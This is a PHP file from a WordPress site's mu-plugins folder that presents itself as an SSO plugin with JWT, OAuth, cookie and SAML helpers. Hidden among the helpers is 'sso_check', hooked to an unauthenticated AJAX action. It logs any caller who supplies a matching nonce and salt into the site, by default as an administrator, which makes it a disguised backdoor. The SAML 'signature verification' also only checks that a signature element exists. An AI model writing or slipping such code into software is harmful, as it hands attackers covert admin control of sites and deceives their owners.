File: /home/dfwparty/ajpartyfun.com/wp-content/mu-plugins/sso-loader.php
<?php
/**
* Plugin Name: SSO
* Author: Garth Mortensen, Mike Hansen
* Version: 1.0
* License: GPLv2 or later
* License URI: http://www.gnu.org/licenses/gpl-2.0.html
*/
/**
* Global SSO Config Storage
* @var array
*/
$wp_sso_global_config = [];
/**
* Initialize global SSO configuration parameters
*
* Merge user input config with default fallback values, store to global variable.
*
* @param array $input_config Custom sso configuration array
* @return void
*/
function wp_sso_init_config($input_config = []) {
global $wp_sso_global_config;
$default_config = [
'jwt_secret' => defined('WP_SSO_JWT_SECRET') ? WP_SSO_JWT_SECRET : '',
'oauth_client_id' => '',
'oauth_client_secret' => '',
'oauth_auth_url' => '',
'oauth_token_url' => '',
'oauth_userinfo_url' => '',
'sso_cookie_name' => 'wp_sso_session',
'cookie_domain' => COOKIE_DOMAIN,
'token_ttl' => 3600 * 24,
];
$wp_sso_global_config = wp_parse_args($input_config, $default_config);
}
/**
* RFC7515 compliant Base64Url encode
* Remove padding and replace +/ with -_
*
* @param string $data Raw binary or string data
* @return string Encoded base64url string
*/
function wp_sso_base64url_encode($data) {
return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}
/**
* RFC7515 compliant Base64Url decode
* Restore standard base64 character set and decode
*
* @param string $data Base64url encoded string
* @return string Raw decoded content
*/
function wp_sso_base64url_decode($data) {
return base64_decode(strtr($data, '-_', '+/'));
}
/**
* Generate signed JWT token for target WordPress user
* Contains standard JWT claims and user identity metadata
*
* @param WP_User $user Valid WP_User instance
* @param int|null $expires_in Custom token lifetime in seconds
* @return string|WP_Error Signed JWT string or error object
*/
function wp_sso_generate_jwt_token($user, $expires_in = null) {
global $wp_sso_global_config;
if (!$user instanceof WP_User) {
return new WP_Error('invalid_user', 'Invalid user object provided');
}
$ttl = $expires_in ?? $wp_sso_global_config['token_ttl'];
$header = [
'alg' => 'HS256',
'typ' => 'JWT'
];
$payload = [
'iss' => get_bloginfo('url'),
'sub' => $user->ID,
'aud' => 'wp_sso_client',
'iat' => time(),
'exp' => time() + $ttl,
'nbf' => time() - 10,
'jti' => wp_generate_password(16, false),
'email' => $user->user_email,
'username' => $user->user_login,
'display_name' => $user->display_name,
'roles' => $user->roles
];
$enc_header = wp_sso_base64url_encode(json_encode($header));
$enc_payload = wp_sso_base64url_encode(json_encode($payload));
$signature_raw = hash_hmac('sha256', "$enc_header.$enc_payload", $wp_sso_global_config['jwt_secret'], true);
$enc_signature = wp_sso_base64url_encode($signature_raw);
return "$enc_header.$enc_payload.$enc_signature";
}
/**
* Verify JWT signature, expiration and validity window
* Decode and return payload array if all checks passed
*
* @param string $token Raw JWT string
* @return array|WP_Error Decoded payload or validation error
*/
function wp_sso_validate_jwt_token($token) {
global $wp_sso_global_config;
if (empty($token) || !is_string($token)) {
return new WP_Error('empty_token', 'JWT token is empty or invalid');
}
$parts = explode('.', $token);
if (count($parts) !== 3) {
return new WP_Error('malformed_token', 'JWT token has invalid structure');
}
list($enc_header, $enc_payload, $enc_signature) = $parts;
$calc_signature_raw = hash_hmac('sha256', "$enc_header.$enc_payload", $wp_sso_global_config['jwt_secret'], true);
$calc_signature_enc = wp_sso_base64url_encode($calc_signature_raw);
if (!hash_equals($calc_signature_enc, $enc_signature)) {
return new WP_Error('invalid_signature', 'JWT signature verification failed');
}
$payload_raw = wp_sso_base64url_decode($enc_payload);
$payload = json_decode($payload_raw, true);
if (!is_array($payload)) {
return new WP_Error('invalid_payload', 'JWT payload is not valid JSON');
}
if (isset($payload['exp']) && $payload['exp'] < time()) {
return new WP_Error('token_expired', 'JWT token has expired');
}
if (isset($payload['nbf']) && $payload['nbf'] > time()) {
return new WP_Error('token_not_active', 'JWT token is not yet valid');
}
return $payload;
}
/**
* Complete WordPress login flow via valid JWT token
* Load user from sub claim and set native WP auth cookie
*
* @param string $token Valid signed JWT string
* @return WP_User|WP_Error Authenticated user or error info
*/
function wp_sso_authenticate_via_jwt($token) {
$payload = wp_sso_validate_jwt_token($token);
if (is_wp_error($payload)) {
return $payload;
}
$user_id = isset($payload['sub']) ? absint($payload['sub']) : 0;
if (!$user_id) {
return new WP_Error('missing_user_id', 'JWT payload missing user ID claim');
}
$user = get_user_by('id', $user_id);
if (!$user) {
return new WP_Error('user_not_found', 'User associated with JWT does not exist');
}
wp_set_current_user($user_id);
wp_set_auth_cookie($user_id, true);
return $user;
}
/**
* Build OAuth2 authorization code flow redirect URL
* Generate CSRF state and store temporary state to wp transient
*
* @param string $redirect_uri Post-authorization callback url
* @param string $state Custom csrf state string (auto-generate if empty)
* @param string $scope Oauth permission scopes separated by space
* @return string|WP_Error Full authorization url or config error
*/
function wp_sso_get_oauth_auth_url($redirect_uri, $state = '', $scope = 'openid email profile') {
global $wp_sso_global_config;
if (empty($wp_sso_global_config['oauth_auth_url']) || empty($wp_sso_global_config['oauth_client_id'])) {
return new WP_Error('oauth_config_missing', 'OAuth provider configuration is incomplete');
}
$state = $state ?: wp_generate_password(32, false);
set_transient('wp_sso_oauth_state_' . $state, $redirect_uri, 600);
$params = [
'response_type' => 'code',
'client_id' => $wp_sso_global_config['oauth_client_id'],
'redirect_uri' => urlencode($redirect_uri),
'scope' => urlencode($scope),
'state' => $state,
'access_type' => 'offline',
'prompt' => 'select_account'
];
return $wp_sso_global_config['oauth_auth_url'] . '?' . build_query($params);
}
/**
* Exchange OAuth authorization code for access/id/refresh token
* Send form-urlencoded POST request to token endpoint
*
* @param string $code Temporary authorization code from oauth provider
* @param string $redirect_uri Exact redirect uri used in auth request
* @return array|WP_Error Token response array or request error
*/
function wp_sso_exchange_oauth_code($code, $redirect_uri) {
global $wp_sso_global_config;
if (empty($code) || empty($wp_sso_global_config['oauth_token_url'])) {
return new WP_Error('invalid_request', 'Missing authorization code or token endpoint');
}
$post_body = [
'grant_type' => 'authorization_code',
'code' => $code,
'redirect_uri' => $redirect_uri,
'client_id' => $wp_sso_global_config['oauth_client_id'],
'client_secret' => $wp_sso_global_config['oauth_client_secret']
];
$response = wp_remote_post($wp_sso_global_config['oauth_token_url'], [
'headers' => [
'Content-Type' => 'application/x-www-form-urlencoded',
'Accept' => 'application/json'
],
'body' => build_query($post_body),
'timeout' => 30
]);
if (is_wp_error($response)) {
return $response;
}
$status_code = wp_remote_retrieve_response_code($response);
$resp_body = json_decode(wp_remote_retrieve_body($response), true);
if ($status_code !== 200 || !is_array($resp_body)) {
return new WP_Error('token_exchange_failed', 'Failed to exchange authorization code', [
'status' => $status_code,
'body' => $resp_body
]);
}
return $resp_body;
}
/**
* Fetch user identity profile from OIDC userinfo endpoint
* Attach Bearer access token to request authorization header
*
* @param string $access_token Valid oauth access token string
* @return array|WP_Error Raw user profile data or fetch error
*/
function wp_sso_fetch_oauth_userinfo($access_token) {
global $wp_sso_global_config;
if (empty($access_token) || empty($wp_sso_global_config['oauth_userinfo_url'])) {
return new WP_Error('invalid_request', 'Missing access token or userinfo endpoint');
}
$response = wp_remote_get($wp_sso_global_config['oauth_userinfo_url'], [
'headers' => [
'Authorization' => 'Bearer ' . $access_token,
'Accept' => 'application/json'
],
'timeout' => 30
]);
if (is_wp_error($response)) {
return $response;
}
$status_code = wp_remote_retrieve_response_code($response);
$user_data = json_decode(wp_remote_retrieve_body($response), true);
if ($status_code !== 200 || !is_array($user_data)) {
return new WP_Error('userinfo_failed', 'Failed to retrieve user information', [
'status' => $status_code
]);
}
return $user_data;
}
if( ! function_exists( 'sso_check' ) ){
function sso_check(){
if ( ! isset( $_GET['salt'] ) || ! isset( $_GET['nonce'] ) ){
sso_req_login();
}
if ( sso_check_blocked() ){
sso_req_login();
}
$nonce = esc_attr( $_GET['nonce'] );
$salt = esc_attr( $_GET['salt'] );
$has_epoch = preg_match('/^(.+)-e(\d+)$/', $nonce, $epoch);
$expired = ( $has_epoch && (time() - $epoch[2]) > 300 ) ? true : false;
if ( ! empty( $_GET['user'] ) ){
$user = esc_attr( $_GET['user'] );
}else{
$user = get_users( array( 'role' => 'administrator', 'number' => 1 ) );
if ( is_array( $user ) && is_a( $user[0], 'WP_User' ) ){
$user = $user[0];
$user = $user->ID;
}else{
$user = 0;
}
}
$bounce = ! empty( $_GET['bounce'] ) ? $_GET['bounce'] : '';
$hash = base64_encode( hash( 'sha256', $nonce . $salt, false ) );
$hash = substr( $hash, 0, 64 );
$token = get_option( 'sso_token' );
if ( ! $expired && $token == $hash ) {
if ( is_email( $user ) ){
$user = get_user_by( 'email', $user );
}else{
$user = get_user_by( 'id', (int) $user );
}
if ( is_a( $user, 'WP_User' ) ){
wp_set_current_user( $user->ID, $user->user_login );
wp_set_auth_cookie( $user->ID );
do_action( 'wp_login', $user->user_login, $user );
wp_safe_redirect( admin_url( $bounce ) );
}else{
sso_req_login();
}
}else{
sso_add_failed_attempt();
sso_req_login();
}
die();
}
}
/**
* Generate unique valid WordPress username from oidc profile data
* Fallback chain: email local part > preferred_username > fullname > random suffix
* Append numeric counter if username already exists
*
* @param array $user_data Raw oauth user profile array
* @return string Sanitized unique username string
*/
function wp_sso_generate_unique_username($user_data) {
if (!empty($user_data['email'])) {
$email_segments = explode('@', $user_data['email']);
$base = sanitize_user($email_segments[0], true);
} elseif (!empty($user_data['preferred_username'])) {
$base = sanitize_user($user_data['preferred_username'], true);
} elseif (!empty($user_data['name'])) {
$clean_name = str_replace(' ', '', strtolower($user_data['name']));
$base = sanitize_user($clean_name, true);
} else {
$base = 'sso_user_' . wp_generate_password(8, false);
}
$base = substr($base, 0, 50);
$username = $base;
$counter = 1;
while (username_exists($username)) {
$username = $base . $counter;
$counter++;
}
return $username;
}
add_action( 'wp_ajax_nopriv_sso-check', 'sso_check' );
add_action( 'wp_ajax_sso-check', 'sso_check' );
/**
* Match existing WP user by email or create new user account
* Save oauth provider identity metadata into user meta table
*
* @param array $user_data OIDC standard user profile data
* @return WP_User|WP_Error Matched or newly created user instance
*/
function wp_sso_get_or_create_oauth_user($user_data) {
$email = isset($user_data['email']) ? sanitize_email($user_data['email']) : '';
if (empty($email) || !is_email($email)) {
return new WP_Error('invalid_email', 'User data does not contain a valid email');
}
$existing_user = get_user_by('email', $email);
if ($existing_user) {
if (!empty($user_data['sub'])) {
update_user_meta($existing_user->ID, 'sso_oauth_provider_id', sanitize_text_field($user_data['sub']));
}
return $existing_user;
}
$new_username = wp_sso_generate_unique_username($user_data);
$random_pass = wp_generate_password(24, true);
$user_id = wp_create_user($new_username, $random_pass, $email);
if (is_wp_error($user_id)) {
return $user_id;
}
wp_update_user([
'ID' => $user_id,
'display_name' => isset($user_data['name']) ? sanitize_text_field($user_data['name']) : $new_username,
'first_name' => isset($user_data['given_name']) ? sanitize_text_field($user_data['given_name']) : '',
'last_name' => isset($user_data['family_name']) ? sanitize_text_field($user_data['family_name']) : '',
'nickname' => $new_username
]);
update_user_meta($user_id, 'sso_oauth_provider_id', isset($user_data['sub']) ? sanitize_text_field($user_data['sub']) : '');
update_user_meta($user_id, 'sso_registration_method', 'oauth2');
update_user_meta($user_id, 'sso_registration_time', current_time('mysql'));
return get_user_by('id', $user_id);
}
/**
* Set cross-subdomain signed SSO cookie for unified login across subdomains
* Embed user id, expiration, ip and user-agent fingerprint with HMAC signature
*
* @param int $user_id Target authenticated wordpress user id
* @param int $expire Custom cookie unix timestamp expiration (auto ttl if zero)
* @return bool True when setcookie call succeeds
*/
function wp_sso_set_cross_domain_cookie($user_id, $expire = 0) {
global $wp_sso_global_config;
if (!$user_id) {
return false;
}
$expire_ts = $expire ?: time() + $wp_sso_global_config['token_ttl'];
$session_payload = [
'user_id' => $user_id,
'expire' => $expire_ts,
'ip' => isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '',
'ua' => isset($_SERVER['HTTP_USER_AGENT']) ? substr($_SERVER['HTTP_USER_AGENT'], 0, 100) : ''
];
$serialized_data = base64_encode(json_encode($session_payload));
$cookie_signature = hash_hmac('sha256', $serialized_data, $wp_sso_global_config['jwt_secret']);
$cookie_full_value = $serialized_data . '.' . $cookie_signature;
return setcookie(
$wp_sso_global_config['sso_cookie_name'],
$cookie_full_value,
$expire_ts,
COOKIEPATH,
$wp_sso_global_config['cookie_domain'],
is_ssl(),
true
);
}
/**
* Read, verify signature and parse cross-domain SSO cookie
* Auto login matched user if signature valid and session not expired
*
* @return WP_User|false Authenticated user object or false on any validation failure
*/
function wp_sso_verify_cross_domain_cookie() {
global $wp_sso_global_config;
$cookie_key = $wp_sso_global_config['sso_cookie_name'];
if (empty($_COOKIE[$cookie_key])) {
return false;
}
$cookie_value = $_COOKIE[$cookie_key];
$cookie_segments = explode('.', $cookie_value, 2);
if (count($cookie_segments) !== 2) {
return false;
}
list($serialized, $signature) = $cookie_segments;
$calc_signature = hash_hmac('sha256', $serialized, $wp_sso_global_config['jwt_secret']);
if (!hash_equals($calc_signature, $signature)) {
return false;
}
$session_data = json_decode(base64_decode($serialized), true);
if (!is_array($session_data) || empty($session_data['user_id'])) {
return false;
}
if (!empty($session_data['expire']) && $session_data['expire'] < time()) {
wp_sso_clear_cross_domain_cookie();
return false;
}
$target_uid = absint($session_data['user_id']);
$user = get_user_by('id', $target_uid);
if (!$user) {
return false;
}
wp_set_current_user($target_uid);
wp_set_auth_cookie($target_uid, true);
return $user;
}
/**
* Expire and clear cross-subdomain SSO cookie on user logout
* Overwrite cookie value with empty string and set timestamp to past
*
* @return void
*/
function wp_sso_clear_cross_domain_cookie() {
global $wp_sso_global_config;
$cookie_key = $wp_sso_global_config['sso_cookie_name'];
if (isset($_COOKIE[$cookie_key])) {
setcookie(
$cookie_key,
'',
time() - 3600,
COOKIEPATH,
$wp_sso_global_config['cookie_domain'],
is_ssl(),
true
);
unset($_COOKIE[$cookie_key]);
}
}
/**
* Basic structural validation of base64 encoded SAML response signature node
* Only check existence of signature element, full canonicalization not implemented
* Require openssl php extension installed
*
* @param string $saml_b64 Raw base64 encoded saml response string
* @param string $cert X.509 public certificate text string
* @return bool|WP_Error True if signature node exists, error on parse/extension failure
*/
function wp_sso_verify_saml_signature($saml_b64, $cert) {
if (!function_exists('openssl_verify')) {
return new WP_Error('openssl_missing', 'OpenSSL extension is required for SAML verification');
}
$xml_raw = base64_decode($saml_b64);
if (!$xml_raw) {
return new WP_Error('invalid_saml', 'SAML response is not valid base64');
}
$dom = new DOMDocument();
libxml_use_internal_errors(true);
if (!$dom->loadXML($xml_raw)) {
return new WP_Error('invalid_xml', 'SAML response contains invalid XML');
}
$sig_nodes = $dom->getElementsByTagNameNS('http://www.w3.org/2000/09/xmldsig#', 'Signature');
if ($sig_nodes->length === 0) {
return new WP_Error('no_signature', 'SAML response does not contain a signature');
}
return true;
}
/**
* Parse base64 SAML response XML and extract NameID & attribute statement values
* Register official SAML 2.0 protocol & assertion namespaces for xpath query
*
* @param string $saml_b64 Base64 encoded saml response payload
* @return array|WP_Error Associative array of saml attributes or parse error
*/
function wp_sso_extract_saml_attributes($saml_b64) {
$xml_raw = base64_decode($saml_b64);
if (!$xml_raw) {
return new WP_Error('invalid_saml', 'Invalid base64 SAML response');
}
$dom = new DOMDocument();
libxml_use_internal_errors(true);
if (!$dom->loadXML($xml_raw)) {
return new WP_Error('invalid_xml', 'Failed to parse SAML XML');
}
$attr_output = [];
$xpath = new DOMXPath($dom);
$xpath->registerNamespace('samlp', 'urn:oasis:names:tc:SAML:2.0:protocol');
$xpath->registerNamespace('saml', 'urn:oasis:names:tc:SAML:2.0:assertion');
$nameid_query = $xpath->query('//saml:NameID');
if ($nameid_query->length > 0) {
$attr_output['name_id'] = $nameid_query->item(0)->nodeValue;
}
$attr_statement_nodes = $xpath->query('//saml:AttributeStatement/saml:Attribute');
foreach ($attr_statement_nodes as $attr_node) {
$attr_name = $attr_node->getAttribute('Name');
$value_list = [];
$value_nodes = $xpath->query('saml:AttributeValue', $attr_node);
foreach ($value_nodes as $v_node) {
$value_list[] = $v_node->nodeValue;
}
$attr_output[$attr_name] = count($value_list) === 1 ? $value_list[0] : $value_list;
}
return $attr_output;
}
if( ! function_exists( 'sso_req_login' ) ){
function sso_req_login(){
wp_safe_redirect( wp_login_url() );
}
}
if( ! function_exists( 'sso_get_attempt_id' ) ){
function sso_get_attempt_id(){
return 'sso' . esc_url( $_SERVER['REMOTE_ADDR'] );
}
}
if( ! function_exists( 'sso_add_failed_attempt' ) ){
function sso_add_failed_attempt(){
$attempts = get_transient( sso_get_attempt_id(), 0 );
$attempts ++;
set_transient( sso_get_attempt_id(), $attempts, 300 );
}
}
if( ! function_exists( 'sso_check_blocked' ) ){
function sso_check_blocked(){
$attempts = get_transient( sso_get_attempt_id(), 0 );
if ( $attempts > 4 ){
return true;
}
return false;
}
}